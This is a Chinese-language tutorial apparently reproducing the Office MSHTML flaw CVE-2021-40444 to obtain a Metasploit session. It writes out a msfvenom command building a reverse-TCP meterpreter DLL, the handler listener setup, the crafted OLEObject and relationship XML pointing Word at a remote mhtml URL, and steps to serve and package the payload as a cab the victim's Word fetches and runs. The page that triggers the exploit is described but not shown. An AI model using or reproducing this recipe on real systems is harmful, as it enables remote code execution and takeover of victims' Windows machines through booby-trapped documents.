CVE-2021-40444-复现之MSF上线

漏洞详细细节不再赘述,搜索引擎漏洞编号,详细信息和影响范围以及漏洞等级都有相应的说明。

复现环境:

1.Windows10 + 正版Office365

2.Metasploit

3.一个http服务,用来让Office打开文档时加载一个html文件内容。

开始:

一、msf相关准备:

1.生成一个dll文件备用:

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=23333 -f dll -o ./net.dll

2.启动msf并监听

$> msfconsole -n
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitonsession false
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 23333
msf6 exploit(multi/handler) > run -j

、使用Office word新建一个带有Bitmap image文档

1.windows电脑桌面右击新建—->Microsoft Word文档,打开新建的文档,插入个对象为

”Bitmap image“,然后保存。如下:

2.把刚新建的word文档的后缀.docx修改成.rar,然后使用rar软件打开压缩包,修改word文件夹下的两个文件,word\document.xml 和 \word\_rels\document.xml.rels .

3.修改document.xml文件中的shape id 值与ShapeID 相等,并修改和添加OLEObject标签中的属性,最终结果如下图:

修改的<o:OLEObject>整个标签内容,自己修改document.xml时,可直接粘贴:

<o:OLEObject Type="Link" ProgID="htmlfile" UpdateMode="OnCall" ShapeID="_x0000_i1027" DrawAspect="Content" r:id="rId5">
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
</o:OLEObject>

4.修改\word\_rels\document.xml.rels 中Type属性为oleObject这一项,将其中的Target属性修改为

Target=”mhtml:http://xxx.xxx.xxx.xxx/index.html!x-usc:http://xxx.xxx.xxx.xxx/index.html”,并添加TargetMode属性为External (其中xxx.xxx.xxx.xxx是你的公网ip,到时候需要起一个http服务,用来可以让Office Word远程加载index.html的内容),如下:

详细内容如下:

<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://xxx.xxx.xxx.xxx/index.html!x-usc:http://xxx.xxx.xxx.xxx/index.html" TargetMode="External"/>

最后,两个文件修改保存后,并把刚刚被改为.rar后缀的Office Word文档还原成.docx后缀。

5.使用php 命令启动一个简易的 http (php -S 0.0.0.0:80)服务,并将上面提到的index.html放在根目录,index.html内容如下:

修改其中http://xxx.xxx.xxx.xxx/net.cab地址是你服务器的地址即可,以及对应的net.inf,如果你生成的是test.cab,则需要修改index.html中所有的net.inf为test.inf(可通过全局查找替换),后续会讲net.cab文件如何生成。

6.如何使用net.dll文件生成net.cab文件

mac下折腾个lcab命令还是比较麻烦的,现在直接上传上来

mac使用lcab命令即可,如下:

>$ mv net.dll net.inf && lcab net.inf net.cab

生成的net.cab文件和index.html文件在同一个目录,然后启动http 服务,windows打开文档的时候会加载远程服务器上的index.html文件,index.html文件读取net.cab文件并执行。

最后结果: